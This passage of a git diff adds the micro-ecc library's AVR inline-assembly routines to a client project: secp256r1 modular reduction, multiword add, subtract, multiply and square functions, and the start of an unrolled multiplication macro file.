"ldi r22, 0 \n\t" + + "add r23, r20 \n\t" + "adc r22, r22 \n\t" + "st z+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r21 \n\t" + "adc r23, r23 \n\t" + "st z+, r22 \n\t" + "st z+, r23 \n\t" + "eor r1, r1 \n\t" /* make r1 be 0 again */ + + "sbiw r30, 37 \n\t" /* move z back to point at tmp */ + "subi r26, 64 \n\t" /* move x back to point at product */ + "sbc r27, __zero_reg__ \n\t" + + /* add low bytes of tmp to product, storing in result */ + "ld r18, z+ \n\t" + "ld r19, x+ \n\t" + "add r18, r19 \n\t" + "st y+, r18 \n\t" + REPEAT(31, + "ld r18, z+ \n\t" + "ld r19, x+ \n\t" + "adc r18, r19 \n\t" + "st y+, r18 \n\t") + + "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */ + /* at this point x is at the end of product, y is at the end of result, + z is 32 bytes into tmp */ + "sbiw r28, 32 \n\t" /* move y back to point at result */ + + /* do omega_mult again with the 5 relevant bytes */ + /* z points to tmp + uECC_WORDS, x points to the end of product */ + "sbiw r26, 32 \n\t" /* shift x back to point into the product buffer + (we can overwrite it now) */ + "ld r18, z+ \n\t" + "ld r19, z+ \n\t" + "ld r20, z+ \n\t" + "ld r21, z+ \n\t" + + "mul r24, r18 \n\t" + "st x+, r0 \n\t" + "mov r22, r1 \n\t" + "ldi r23, 0 \n\t" + + "mul r24, r19 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" /* can't overflow */ + "mul r25, r18 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" /* can't overflow */ + "st x+, r22 \n\t" + "ldi r22, 0 \n\t" + + "mul r24, r20 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r19 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st x+, r23 \n\t" + "ldi r23, 0 \n\t" + + "mul r24, r21 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "mul r25, r20 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st x+, r22 \n\t" + "ldi r22, 0 \n\t" + + "add r23, r18 \n\t" + "adc r22, r22 \n\t" + "ld r18, z+ \n\t" + "mul r24, r18 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "mul r25, r21 \n\t" + "add r23, r0 \n\t" + "adc r22, r1 \n\t" + "st x+, r23 \n\t" + "ldi r23, 0 \n\t" + + /* Now finish the carries etc */ + "add r22, r19 \n\t" + "adc r23, r23 \n\t" + "mul r25, r18 \n\t" + "add r22, r0 \n\t" + "adc r23, r1 \n\t" + "st x+, r22 \n\t" + "ldi r22, 0 \n\t" + + "add r23, r20 \n\t" + "adc r22, r22 \n\t" + "st x+, r23 \n\t" + "ldi r23, 0 \n\t" + + "add r22, r21 \n\t" + "adc r23, r23 \n\t" + "st x+, r22 \n\t" + "ldi r22, 0 \n\t" + + "add r23, r18 \n\t" + "adc r22, r22 \n\t" + "st x+, r23 \n\t" + "st x+, r22 \n\t" + "eor r1, r1 \n\t" /* make r1 be 0 again */ + + /* now z points to the end of tmp, x points to the end of product + (y still points at result) */ + "sbiw r26, 10 \n\t" /* move x back to point at beginning of actual data */ + /* add into result */ + "ld r18, x+ \n\t" + "ld r19, y \n\t" + "add r18, r19 \n\t" + "st y+, r18 \n\t" + REPEAT(9, + "ld r18, x+ \n\t" + "ld r19, y \n\t" + "adc r18, r19 \n\t" + "st y+, r18 \n\t") + + /* Done adding, now propagate carry bit */ + REPEAT(22, + "ld r18, y \n\t" + "adc r18, __zero_reg__ \n\t" + "st y+, r18 \n\t") + + "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */ + "sbiw r28, 32 \n\t" /* move y back to point at result */ + + "sbiw r30, 1 \n\t" /* fix stack pointer */ + "in r0, __SREG__ \n\t" + "cli \n\t" + "out __SP_H__, r31 \n\t" + "out __SREG__, r0 \n\t" + "out __SP_L__, r30 \n\t" + + : "+x" (product), [carry] "+r" (carry) + : "y" (result) + : "r0", "r18", "r19", "r20", "r21", "r22", "r23", "r24", "r25", "r30", "r31", "cc", "memory" + ); + + if (carry > 0) { + --carry; + uECC_vli_sub(result, result, curve_secp256r1.p, 32); + } + if (carry > 0) { + uECC_vli_sub(result, result, curve_secp256r1.p, 32); + } + if (uECC_vli_cmp_unsafe(result, curve_secp256r1.p, 32) > 0) { + uECC_vli_sub(result, result, curve_secp256r1.p, 32); + } +} +#define asm_mmod_fast_secp256r1 1 +#endif /* uECC_SUPPORTS_secp256r1 */ + +#endif /* (uECC_OPTIMIZATION_LEVEL >= 2) */ + +#if !asm_add +uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + volatile uECC_word_t *r = result; + uint8_t carry = 0; + uint8_t left_byte; + uint8_t right_byte; + + __asm__ volatile ( + "clc \n\t" + + "1: \n\t" + "ld %[left], x+ \n\t" /* Load left byte. */ + "ld %[right], y+ \n\t" /* Load right byte. */ + "adc %[left], %[right] \n\t" /* Add. */ + "st z+, %[left] \n\t" /* Store the result. */ + "dec %[i] \n\t" + "brne 1b \n\t" + + "adc %[carry], %[carry] \n\t" /* Store carry bit. */ + + : "+z" (r), "+x" (left), "+y" (right), [i] "+r" (num_words), + [carry] "+r" (carry), [left] "=&r" (left_byte), [right] "=&r" (right_byte) + : + : "cc" + ); + return carry; +} +#define asm_add 1 +#endif + +#if !asm_sub +uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + volatile uECC_word_t *r = result; + uint8_t borrow = 0; + uint8_t left_byte; + uint8_t right_byte; + + __asm__ volatile ( + "clc \n\t" + + "1: \n\t" + "ld %[left], x+ \n\t" /* Load left byte. */ + "ld %[right], y+ \n\t" /* Load right byte. */ + "sbc %[left], %[right] \n\t" /* Subtract. */ + "st z+, %[left] \n\t" /* Store the result. */ + "dec %[i] \n\t" + "brne 1b \n\t" + + "adc %[borrow], %[borrow] \n\t" /* Store carry bit in borrow. */ + + : "+z" (r), "+x" (left), "+y" (right), [i] "+r" (i), + [borrow] "+r" (borrow), [left] "=&r" (left_byte), [right] "=&r" (right_byte) + : + : "cc" + ); + return borrow; +} +#define asm_sub 1 +#endif + +#if !asm_mult +__attribute((noinline)) +uECC_VLI_API void uECC_vli_mult(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + volatile uECC_word_t *r = result; + uint8_t r0 = 0; + uint8_t r1 = 0; + uint8_t r2 = 0; + uint8_t zero = 0; + uint8_t k, i; + + __asm__ volatile ( + "ldi %[k], 1 \n\t" /* k = 1; k < num_words; ++k */ + + "1: \n\t" + "ldi %[i], 0 \n\t" /* i = 0; i < k; ++i */ + + "add r28, %[k] \n\t" /* pre-add right ptr */ + "adc r29, %[zero] \n\t" + + "2: \n\t" + "ld r0, x+ \n\t" + "ld r1, -y \n\t" + "mul r0, r1 \n\t" + + "add %[r0], r0 \n\t" + "adc %[r1], r1 \n\t" + "adc %[r2], %[zero] \n\t" + + "inc %[i] \n\t" + "cp %[i], %[k] \n\t" + "brlo 2b \n\t" /* loop if i < k */ + + "sub r26, %[k] \n\t" /* fix up left ptr */ + "sbc r27, %[zero] \n\t" + + "st z+, %[r0] \n\t" /* Store the result. */ + "mov %[r0], %[r1] \n\t" + "mov %[r1], %[r2] \n\t" + "mov %[r2], %[zero] \n\t" + + "inc %[k] \n\t" + "cp %[k], %[num] \n\t" + "brlo 1b \n\t" /* loop if k < num_words */ + + /* second half */ + "mov %[k], %[num] \n\t" /* k = num_words; k > 0; --k */ + "add r28, %[num] \n\t" /* move right ptr to point at the end of right */ + "adc r29, %[zero] \n\t" + + "1: \n\t" + "ldi %[i], 0 \n\t" /* i = 0; i < k; ++i */ + + "2: \n\t" + "ld r0, x+ \n\t" + "ld r1, -y \n\t" + "mul r0, r1 \n\t" + + "add %[r0], r0 \n\t" + "adc %[r1], r1 \n\t" + "adc %[r2], %[zero] \n\t" + + "inc %[i] \n\t" + "cp %[i], %[k] \n\t" + "brlo 2b \n\t" /* loop if i < k */ + + "add r28, %[k] \n\t" /* fix up right ptr */ + "adc r29, %[zero] \n\t" + + "st z+, %[r0] \n\t" /* Store the result. */ + "mov %[r0], %[r1] \n\t" + "mov %[r1], %[r2] \n\t" + "mov %[r2], %[zero] \n\t" + + "dec %[k] \n\t" + "sub r26, %[k] \n\t" /* fix up left ptr (after k is decremented, so next time + we start 1 higher) */ + "sbc r27, %[zero] \n\t" + + "cp %[k], %[zero] \n\t" + "brne 1b \n\t" /* loop if k > 0 */ + + "st z+, %[r0] \n\t" /* Store last result byte. */ + "eor r1, r1 \n\t" /* fix r1 to be 0 again */ + + : "+z" (result), "+x" (left), "+y" (right), + [r0] "+r" (r0), [r1] "+r" (r1), [r2] "+r" (r2), + [zero] "+r" (zero), [num] "+r" (num_words), + [k] "=&r" (k), [i] "=&r" (i) + : + : "r0", "cc" + ); +} +#define asm_mult 1 +#endif + +#if (uECC_SQUARE_FUNC && !asm_square) +uECC_VLI_API void uECC_vli_square(uECC_word_t *result, + const uECC_word_t *left, + wordcount_t num_words) { + volatile uECC_word_t *r = result; + uint8_t r0 = 0; + uint8_t r1 = 0; + uint8_t r2 = 0; + uint8_t zero = 0; + uint8_t k; + + __asm__ volatile ( + "ldi %[k], 1 \n\t" /* k = 1; k < num_words * 2; ++k */ + + "1: \n\t" + + "movw r26, %[orig] \n\t" /* copy orig ptr to 'left' ptr */ + "movw r30, %[orig] \n\t" /* copy orig ptr to 'right' ptr */ + "cp %[k], %[num] \n\t" + "brlo 2f \n\t" + "breq 2f \n\t" + + /* when k > num_words, we start from (k - num_words) on the 'left' ptr */ + "add r26, %[k] \n\t" + "adc r27, %[zero] \n\t" + "sub r26, %[num] \n\t" + "sbc r27, %[zero] \n\t" + "add r30, %[num] \n\t" /* move right ptr to point at the end */ + "adc r31, %[zero] \n\t" + "rjmp 3f \n\t" + + "2: \n\t" /* when k <= num_words, we add k to the 'right' ptr */ + "add r30, %[k] \n\t" /* pre-add 'right' ptr */ + "adc r31, %[zero] \n\t" + + "3: \n\t" + "ld r0, x+ \n\t" + "cp r26, r30 \n\t" /* if left == right here, then we are done after this mult + (and we don't need to double) */ + "breq 4f \n\t" + "ld r1, -z \n\t" + "mul r0, r1 \n\t" + + /* add twice since it costs the same as doubling */ + "add %[r0], r0 \n\t" + "adc %[r1], r1 \n\t" + "adc %[r2], %[zero] \n\t" + "add %[r0], r0 \n\t" + "adc %[r1], r1 \n\t" + "adc %[r2], %[zero] \n\t" + + "cpse r26, r30 \n\t" /* if left == right here, then we are done */ + "rjmp 3b \n\t" + "rjmp 5f \n\t" /* skip code for non-doubled mult */ + + "4: \n\t" + "ld r1, -z \n\t" + "mul r0, r1 \n\t" + "add %[r0], r0 \n\t" + "adc %[r1], r1 \n\t" + "adc %[r2], %[zero] \n\t" + + "5: \n\t" + "movw r30, %[result] \n\t" /* make z point to result */ + "st z+, %[r0] \n\t" /* Store the result. */ + "movw %[result], r30 \n\t" /* update result ptr*/ + "mov %[r0], %[r1] \n\t" + "mov %[r1], %[r2] \n\t" + "mov %[r2], %[zero] \n\t" + + "inc %[k] \n\t" + "cp %[k], %[max] \n\t" + "brlo 1b \n\t" /* loop if k < num_words * 2 */ + + "movw r30, %[result] \n\t" /* make z point to result */ + "st z+, %[r0] \n\t" /* Store last result byte. */ + "eor r1, r1 \n\t" /* fix r1 to be 0 again */ + + : [result] "+r" (r), + [r0] "+r" (r0), [r1] "+r" (r1), [r2] "+r" (r2), [zero] "+r" (zero), + [k] "=&a" (k) + : [orig] "r" (left), [max] "r" ((uint8_t)(2 * num_words)), + [num] "r" (num_words) + : "r0", "r26", "r27", "r30", "r31", "cc" + ); +} +#define asm_square 1 +#endif /* uECC_SQUARE_FUNC && !asm_square */ + +#endif /* _UECC_ASM_AVR_H_ */ diff --git a/client/libs/crypto/micro-ecc/asm_avr_mult_square.inc b/client/libs/crypto/micro-ecc/asm_avr_mult_square.inc new file mode 100644 index 0000000..5581bb4 --- /dev/null +++ b/client/libs/crypto/micro-ecc/asm_avr_mult_square.inc @@ -0,0 +1,21186 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_ASM_AVR_MULT_SQUARE_H_ +#define _UECC_ASM_AVR_MULT_SQUARE_H_ + +#define FAST_MULT_ASM_5 \ + "adiw r30, 10 \n\t" \ + "adiw r28, 10 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r21, y+ \n\t" \ + "ldi r25, 0 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "st z+, r24 \n\t" \ + "st z+, r22 \n\t" \ + \ + "sbiw r30, 30 \n\t" \ + "sbiw r28, 20 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r21, y+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + 